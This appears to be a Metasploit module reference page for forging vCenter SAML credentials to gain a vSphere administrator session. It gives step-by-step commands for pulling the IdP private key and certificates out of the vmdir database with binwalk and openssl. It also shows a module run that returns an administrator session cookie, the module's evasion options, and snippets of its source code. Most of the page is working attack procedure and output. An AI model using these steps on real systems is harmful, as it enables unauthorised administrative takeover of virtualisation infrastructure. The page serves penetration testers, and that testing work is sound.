VMware vCenter Forge SAML Authentication Credentials - Metasploit


This page contains detailed information about how to use the auxiliary/admin/vmware/vcenter_forge_saml_token metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VMware vCenter Forge SAML Authentication Credentials
Module: auxiliary/admin/vmware/vcenter_forge_saml_token
Source code: modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb
Disclosure date: 2022-04-20
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, IdP private key, and VMCA certificates as input objects; you must also provide the vCenter SSO domain name and vCenter FQDN. The module will return a session cookie for the /ui path that grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be retrieved using Metasploit post exploitation modules or extracted manually from /storage/db/vmware-vmdir/data.mdb using binwalk.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/admin/vmware/vcenter_forge_saml_token
msf auxiliary(vcenter_forge_saml_token) > show targets
    ... a list of targets ...
msf auxiliary(vcenter_forge_saml_token) > set TARGET target-id
msf auxiliary(vcenter_forge_saml_token) > show options
    ... show and set options ...
msf auxiliary(vcenter_forge_saml_token) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • VHOST: DNS FQDN of the vCenter server

  • VC_IDP_CERT: Path to the vCenter IdP certificate

  • VC_IDP_KEY: Path to the vCenter IdP private key

  • VC_VMCA_CERT: Path to the vCenter VMCA certificate

Knowledge Base


This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, IdP private key, and VMCA root certificate as input objects; you must also provide the vCenter SSO domain name and vCenter FQDN. Successful execution returns a session cookie for the /ui path that grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be retrieved using Metasploit vCenter post-exploitation modules, or extracted manually from the vmdir database file at /storage/db/vmware-vmdir/data.mdb using binwalk. This module is largely based on information published by Zach Hanley at Horizon3:

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

Vulnerable Application


This module is tested against the vCenter appliance but will probably work against Windows instances. It has been tested against vCenter appliance versions 6.5, 6.7, and 7.0, and will work on vCenter 7.0 Update 3 which introduced additional validation mechanisms to the SSO login process (RelayState). It will probably work against other versions of vCenter appliance down to vCenter 6.0 but has not been tested at versions below 6.5.

Verification Steps


This module must be executed while the target vCenter server is reachable over the network. You must already possess the SSO IdP certificate and key, and the VMCA certificate. These can be acquired by using a Metasploit vCenter post-exploitation module (with access to a live system with root creds) or by extracting the data manually from the vmdir database file using binwalk (with access to a vCenter backup). By default, the target domain vsphere.local and target username administrator are used; the target domain may be different depending on the scenario and should be adjusted accordingly.

  1. Acquire the vCenter IdP certificate and private key, and VMCA certificate (see below)
  2. Start msfconsole
  3. Do: use auxiliary/admin/vmware/vcenter_forge_saml_token.rb
  4. Do: set rhosts <vCenter appliance IPv4 or FQDN>
  5. Do: set vhost <vCenter appliance FQDN>
  6. Do: set vc_idp_cert <path to IdP cert>
  7. Do: set vc_idp_key <path to IdP key>
  8. Do: set vc_vmca_cert <path to VMCA cert>
  9. Verify that the values for domain and username are sane
  10. Do: run
  11. Open a web browser and navigate to the vCenter admin UI for the target server (https://<vcenterfqdn>/ui)
  12. Apply the acquired session cookie for the vCenter host at the /ui path

Options


DOMAIN

The vSphere SSO domain; by default this is vsphere.local. If this does not match the vSphere SSO domain, the module will return HTTP 400: Issuer not trusted on execution.

USERNAME

The target user within the SSO domain. This must be a valid user as vCenter will happily issue SAML assertions for invalid usernames, but the provided session tokens will not function. There should be no reason to modify the target user from the default administrator in most scenarios.

RHOSTS

The vCenter appliance IPv4 address or DNS FQDN. This must be reachable over HTTPS for the module to function.

VHOST

The fully qualified DNS name of the vCenter appliance; this must be present in the Issuer element of the assertion for the module to function. If this value does not match the vCenter appliance FQDN, the module will return HTTP 400 during the initial GET request.

VC_IDP_CERT

The filesystem path to the vCenter SSO IdP certificate in DER or PEM format.

VC_IDP_KEY

The filesystem path to the vCenter SSO IdP private key in DER or PEM format.

VC_VMCA_CERT

The filesystem path to the vCenter VMCA certificate in DER or PEM format.

Advanced Options


VC_IDP_TOKEN_BEFORE_SKEW

Number of seconds to subtract when preparing the assertion validity start time. Valid values are between 300 (five minutes) and 2592000 (30 days); default is 2592000.

VC_IDP_TOKEN_AFTER_SKEW

Number of seconds to add when preparing the assertion validity end time. Valid values are between 300 (five minutes) and 2592000 (30 days); default is 2592000.

Scenarios


Extracting the vSphere SSO certificates

The vmdir database is hosted on the appliance at /storage/db/vmware-vmdir/data.mdb - it is possible to extract the IdP keys from this file presuming you have root access to the appliance, or read access to a vCenter backup repository. Copy the file to the local system, and use binwalk to scan for the private key material.

binwalk --signature ./data.mdb

vSphere vmdir stores the IdP secrets without encryption within the database. There are many x509 certificates within the vmdir database but there should only be two private keys; you are looking for two x509 v3 certificates in close proximity to two PKCS#1 RSA private keys in DER format. Below is an example of the target location from a binwalk signature scan of an example vmdir database.

[...]
8839882       0x86E2CA        Certificate in DER format (x509 v3), header length: 4, sequence length: 991
8840880       0x86E6B0        Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
8841970       0x86EAF2        Private key in DER format (PKCS header length: 4, sequence length: 1215
8841996       0x86EB0C        Private key in DER format (PKCS header length: 4, sequence length: 1189
[...]

The target data starts at offset 8839882 in this example. Adding the sequence lengths together we get 4474 bytes, thus:

binwalk --offset=8839882 --length=4474 --dd=".*" ./data.mdb

Will extract the target files.

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
8839882       0x86E2CA        Certificate in DER format (x509 v3), header length: 4, sequence length: 991
8840880       0x86E6B0        Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
8841970       0x86EAF2        Private key in DER format (PKCS header length: 4, sequence length: 1215
8841996       0x86EB0C        Private key in DER format (PKCS header length: 4, sequence length: 1189

$ ls -l ./_data.mdb.extracted/
total 16
-rwxrwxrwx 1 cs137 cs137  995 Apr 21 06:55 86E2CA
-rwxrwxrwx 1 cs137 cs137 1083 Apr 21 06:55 86E6B0
-rwxrwxrwx 1 cs137 cs137 1219 Apr 21 06:55 86EAF2
-rwxrwxrwx 1 cs137 cs137 1193 Apr 21 06:55 86EB0C

These should be the VMCA root certificate and SSO IdP certificate and private key. Note that vmdir appears to store two copies of the IdP private key, presumably to allow the key to be rotated if required. For a vanilla install of vCenter, both private keys will be identical. To determine which one is which, first compare the certificate CN using OpenSSL. The SSO IdP credential should have a common name of ssoserverSign.

openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -noout -subject
subject=CN = ssoserverSign

openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -noout -subject
subject=CN = CA, DC = vsphere.local, C = US, ST = California, O = vcenter.cesium137.io, OU = VMware Engineering

This confirms that 86E2CA is the IdP certificate, and 86E6B0 is the VMCA certificate. Convert them to PEM format and rename them for convenience:

openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -outform pem -out ./idp.pem
openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -outform pem -out ./vmca.pem

To associate them with their private key, first calculate the SHA-256 digest of the modulus for both certificates.

openssl x509 -in ./idp.pem -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32  -

openssl x509 -in ./vmca.pem -modulus -noout | sha256sum
432f0244896a3243f46d4a2f7322127a52b891a53b984745c286989c02862a13  -

Compare these to the modulus component of the candidate keys to associate them with the corresponding certificate.

openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32  -

openssl rsa -inform der -in ./_data.mdb.extracted/86EB0C -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32  -

Based on this output we conclude 86EAF2 and 86EB0C are identical, and share a modulus with the IdP certificate: either of these can be extracted. Convert the file to PEM format and rename it for convenience.

openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -outform pem -out ./idp.key
writing RSA key

You should now have idp.pem, idp.key, and vmca.pem in your working directory in PEM format.

Running the Module

Example run against vCenter appliance version 7.0 Update 3d:

msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110
RHOSTS => 192.168.100.110
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VHOST vcenter.cesium137.io
VHOST => vcenter.cesium137.io
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem
VC_IDP_CERT => ~/idp.pem
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key
VC_IDP_KEY => ~/idp.key
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem
VC_VMCA_CERT => ~/vmca.pem
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run
[*] Running module against 192.168.100.110

[+] Validated vCenter Single Sign-On IdP trusted certificate chain
[*] HTTP GET => /ui/login ...
[*] HTTP POST => /ui/saml/websso/sso ...
[*] Got cookie: VSPHERE-CLIENT-SESSION-INDEX=_ad4a6b68b157bded0de5ec6ce2cab324
[*] Got cookie: VSPHERE-UI-JSESSIONID=DA9ECA61A289E32D31D9926D0CD433C1
[*] Got cookie: VSPHERE-USERNAME=administrator%40vsphere.local
[+] Got valid administrator session token!
[+]     JSESSIONID=DA9ECA61A289E32D31D9926D0CD433C1; Path=/ui
[*] Auxiliary module execution completed
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) >

Inject the acquired session cookie using the method of your choice. The cookie name must be JSESSIONID with the value returned from the auxiliary module, and the path for the cookie must be set to /ui.

Go back to menu.

Msfconsole Usage


Here is how the admin/vmware/vcenter_forge_saml_token auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token

msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show info

       Name: VMware vCenter Forge SAML Authentication Credentials
     Module: auxiliary/admin/vmware/vcenter_forge_saml_token
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-04-20

Provided by:
  npm <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available actions:
  Name  Description
  ----  -----------
  Run   Generate vSphere session cookie

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  DOMAIN        vsphere.local    yes       The target vSphere SSO domain
  RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT         443              yes       The target port (TCP)
  SSL           true             no        Negotiate SSL/TLS for outgoing connections
  USERNAME      administrator    yes       The username to target using forged credentials
  VC_IDP_CERT                    yes       Path to the vCenter IdP certificate
  VC_IDP_KEY                     yes       Path to the vCenter IdP private key
  VC_VMCA_CERT                   yes       Path to the vCenter VMCA certificate
  VHOST                          yes       DNS FQDN of the vCenter server

Description:
  This module forges valid SAML credentials for vCenter server using 
  the vCenter SSO IdP certificate, IdP private key, and VMCA 
  certificates as input objects; you must also provide the vCenter SSO 
  domain name and vCenter FQDN. The module will return a session 
  cookie for the /ui path that grants access to the SSO domain as a 
  vSphere administrator. The IdP trusted certificate chain can be 
  retrieved using Metasploit post exploitation modules or extracted 
  manually from /storage/db/vmware-vmdir/data.mdb using binwalk.

References:
  https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

Module Options


This is a complete list of options available in the admin/vmware/vcenter_forge_saml_token auxiliary module:

msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show options

Module options (auxiliary/admin/vmware/vcenter_forge_saml_token):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DOMAIN        vsphere.local    yes       The target vSphere SSO domain
   RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME      administrator    yes       The username to target using forged credentials
   VC_IDP_CERT                    yes       Path to the vCenter IdP certificate
   VC_IDP_KEY                     yes       Path to the vCenter IdP private key
   VC_VMCA_CERT                   yes       Path to the vCenter VMCA certificate
   VHOST                          yes       DNS FQDN of the vCenter server

Auxiliary action:

   Name  Description
   ----  -----------
   Run   Generate vSphere session cookie

Advanced Options


Here is a complete list of advanced options supported by the admin/vmware/vcenter_forge_saml_token auxiliary module:

msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show advanced

Module advanced options (auxiliary/admin/vmware/vcenter_forge_saml_token):

   Name                      Current Setting                          Required  Description
   ----                      ---------------                          --------  -----------
   DigestAuthIIS             true                                     no        Conform to IIS, should work for most servers. Only set to false for non
                                                                                -IIS servers
   FingerprintCheck          true                                     no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                  no        HTTP connection and receive timeout
   HttpPassword                                                       no        The HTTP password to specify for authentication
   HttpRawHeaders                                                     no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                 false                                    no        Show the raw HTTP requests and responses
   HttpTraceColors           red/blu                                  no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly      false                                    no        Show HTTP headers only in HttpTrace
   HttpUsername                                                       no        The HTTP username to specify for authentication
   SSLServerNameIndication                                            no        SSL/TLS Server Name Indication (SNI)
   SSLVersion                Auto                                     yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto
                                                                                -negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent                 Mozilla/5.0 (Macintosh; Intel Mac OS X   no        The User-Agent header to use for all requests
                             12_2_1) AppleWebKit/537.36 (KHTML, like
                              Gecko) Chrome/98.0.4758.81 Safari/537.
                             36
   VC_IDP_TOKEN_AFTER_SKEW   2592000                                  yes       NOT_AFTER seconds to add to current time, values 300 to 2592000
   VC_IDP_TOKEN_BEFORE_SKEW  2592000                                  yes       NOT_BEFORE seconds to subtract from current time, values 300 to 2592000
   VERBOSE                   false                                    no        Enable detailed status messages
   WORKSPACE                                                          no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/vmware/vcenter_forge_saml_token module can do:

msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------
   Run   Generate vSphere session cookie

Evasion Options


Here is the full list of possible evasion options supported by the admin/vmware/vcenter_forge_saml_token auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-norm
                                                            al, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to generate SAML response XML


Here is a relevant code snippet related to the "Unable to generate SAML response XML" error message:

128:	    print_status('HTTP GET => /ui/login ...')
129:	    init_vsphere_login
130:	
131:	    vprint_status('Create forged SAML assertion XML ...')
132:	    unless (vsphere_saml_response = get_saml_response_template)
133:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
134:	    end
135:	
136:	    vprint_status('Sign forged SAML assertion with IdP key ...')
137:	    unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
138:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')

Unable to sign SAML assertion


Here is a relevant code snippet related to the "Unable to sign SAML assertion" error message:

133:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
134:	    end
135:	
136:	    vprint_status('Sign forged SAML assertion with IdP key ...')
137:	    unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
138:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
139:	    end
140:	
141:	    print_status('HTTP POST => /ui/saml/websso/sso ...')
142:	    unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
143:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')

Unable to acquire administrator session token


Here is a relevant code snippet related to the "Unable to acquire administrator session token" error message:

138:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
139:	    end
140:	
141:	    print_status('HTTP POST => /ui/saml/websso/sso ...')
142:	    unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
143:	      fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')
144:	    end
145:	
146:	    print_good('Got valid administrator session token!')
147:	    print_good("\t#{session_cookie}")
148:	  end

File read failure: <E.CLASS> - <E.MESSAGE>


Here is a relevant code snippet related to the "File read failure: <E.CLASS> - <E.MESSAGE>" error message:

151:	    begin
152:	      idp_cert_file = File.binread(vc_idp_cert)
153:	      idp_key_file = File.binread(vc_idp_key)
154:	      vmca_cert_file = File.binread(vc_vmca_cert)
155:	    rescue StandardError => e
156:	      print_error("File read failure: #{e.class} - #{e.message}")
157:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158:	    end
159:	
160:	    unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")

Error reading certificate files


Here is a relevant code snippet related to the "Error reading certificate files" error message:

152:	      idp_cert_file = File.binread(vc_idp_cert)
153:	      idp_key_file = File.binread(vc_idp_key)
154:	      vmca_cert_file = File.binread(vc_vmca_cert)
155:	    rescue StandardError => e
156:	      print_error("File read failure: #{e.class} - #{e.message}")
157:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158:	    end
159:	
160:	    unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162:	    end

Invalid VMCA certificate: <VC_VMCA_CERT.PATH>


Here is a relevant code snippet related to the "Invalid VMCA certificate: <VC_VMCA_CERT.PATH>" error message:

156:	      print_error("File read failure: #{e.class} - #{e.message}")
157:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158:	    end
159:	
160:	    unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162:	    end
163:	
164:	    unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166:	    end

Invalid IdP certificate: <VC_IDP_CERT.PATH>


Here is a relevant code snippet related to the "Invalid IdP certificate: <VC_IDP_CERT.PATH>" error message:

160:	    unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162:	    end
163:	
164:	    unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166:	    end
167:	
168:	    unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170:	    end

Invalid IdP private key: <VC_IDP_KEY.PATH>


Here is a relevant code snippet related to the "Invalid IdP private key: <VC_IDP_KEY.PATH>" error message:

164:	    unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166:	    end
167:	
168:	    unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170:	    end
171:	
172:	    unless pub.check_private_key(priv)
173:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174:	    end

Provided IdP public and private keys are not associated


Here is a relevant code snippet related to the "Provided IdP public and private keys are not associated" error message:

168:	    unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169:	      fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170:	    end
171:	
172:	    unless pub.check_private_key(priv)
173:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174:	    end
175:	
176:	    unless (pub.issuer.to_s == ca.subject.to_s)
177:	      print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t  IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')

IdP issuer DN does not match provided VMCA subject DN!n IdP Issuer DN: <PUB.ISSUER>nVMCA Subject DN: <CA.SUBJECT>


Here is a relevant code snippet related to the "IdP issuer DN does not match provided VMCA subject DN!n IdP Issuer DN: <PUB.ISSUER>nVMCA Subject DN: <CA.SUBJECT>" error message:

172:	    unless pub.check_private_key(priv)
173:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174:	    end
175:	
176:	    unless (pub.issuer.to_s == ca.subject.to_s)
177:	      print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t  IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179:	    end
180:	
181:	    unless pub.verify(ca.public_key)
182:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')

Invalid IdP certificate chain


Here is a relevant code snippet related to the "Invalid IdP certificate chain" error message:

173:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174:	    end
175:	
176:	    unless (pub.issuer.to_s == ca.subject.to_s)
177:	      print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t  IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179:	    end
180:	
181:	    unless pub.verify(ca.public_key)
182:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
183:	    end

Provided IdP certificate does not chain to VMCA certificate


Here is a relevant code snippet related to the "Provided IdP certificate does not chain to VMCA certificate" error message:

177:	      print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t  IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179:	    end
180:	
181:	    unless pub.verify(ca.public_key)
182:	      fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
183:	    end
184:	
185:	    print_good('Validated vCenter Single Sign-On IdP trusted certificate chain')
186:	
187:	    @vcenter_saml_idp_cert = pub

Could not reach SAML endpoint


Here is a relevant code snippet related to the "Could not reach SAML endpoint" error message:

194:	      'uri' => '/ui/login',
195:	      'method' => 'GET'
196:	    })
197:	
198:	    unless res
199:	      fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
200:	    end
201:	
202:	    unless res.code == 302
203:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
204:	    end

<RHOST> - expected HTTP 302, got HTTP <RES.CODE>


Here is a relevant code snippet related to the "<RHOST> - expected HTTP 302, got HTTP <RES.CODE>" error message:

198:	    unless res
199:	      fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
200:	    end
201:	
202:	    unless res.code == 302
203:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
204:	    end
205:	
206:	    datastore['TARGETURI'] = res['location']
207:	    uri = target_uri
208:	

SAMLRequest query parameter was not returned with HTTP GET


Here is a relevant code snippet related to the "SAMLRequest query parameter was not returned with HTTP GET" error message:

207:	    uri = target_uri
208:	
209:	    query = queryparse(uri.query || '')
210:	
211:	    unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest']))
212:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET')
213:	    end
214:	
215:	    if !query['RelayState'].nil?
216:	      @vcenter_saml_relay_state = CGI.unescape(query['RelayState'])
217:	      vprint_status("Response included RelayState: #{@vcenter_saml_relay_state}")

<RHOST> - could not reach SAML endpoint


Here is a relevant code snippet related to the "<RHOST> - could not reach SAML endpoint" error message:

336:	        'keep_cookies' => 'true'
337:	      })
338:	    end
339:	
340:	    unless res
341:	      fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint")
342:	    end
343:	
344:	    unless res.code == 302
345:	      if res.body.to_s != ''
346:	        res_html = Nokogiri::HTML(res.body.to_s)

//div[@class='error-message']


Here is a relevant code snippet related to the "//div[@class='error-message']" error message:

342:	    end
343:	
344:	    unless res.code == 302
345:	      if res.body.to_s != ''
346:	        res_html = Nokogiri::HTML(res.body.to_s)
347:	        res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348:	        if res_detail
349:	          print_error("Response: #{res_detail}")
350:	        else
351:	          print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352:	        end

Response: <RES_DETAIL>


Here is a relevant code snippet related to the "Response: <RES_DETAIL>" error message:

344:	    unless res.code == 302
345:	      if res.body.to_s != ''
346:	        res_html = Nokogiri::HTML(res.body.to_s)
347:	        res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348:	        if res_detail
349:	          print_error("Response: #{res_detail}")
350:	        else
351:	          print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352:	        end
353:	      end
354:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")

Unable to interpret response from vCenter. Raw response:n<RES>


Here is a relevant code snippet related to the "Unable to interpret response from vCenter. Raw response:n<RES>" error message:

346:	        res_html = Nokogiri::HTML(res.body.to_s)
347:	        res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348:	        if res_detail
349:	          print_error("Response: #{res_detail}")
350:	        else
351:	          print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352:	        end
353:	      end
354:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
355:	    end
356:	

Expected HTTP 302, got HTTP <RES.CODE>


Here is a relevant code snippet related to the "Expected HTTP 302, got HTTP <RES.CODE>" error message:

349:	          print_error("Response: #{res_detail}")
350:	        else
351:	          print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352:	        end
353:	      end
354:	      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
355:	    end
356:	
357:	    cookie_jar.cookies.each do |c|
358:	      print_status("Got cookie: #{c.name}=#{c.value}")
359:	    end

Invalid vCenter FQDN provided: <VCENTER_FQDN>


Here is a relevant code snippet related to the "Invalid vCenter FQDN provided: <VCENTER_FQDN>" error message:

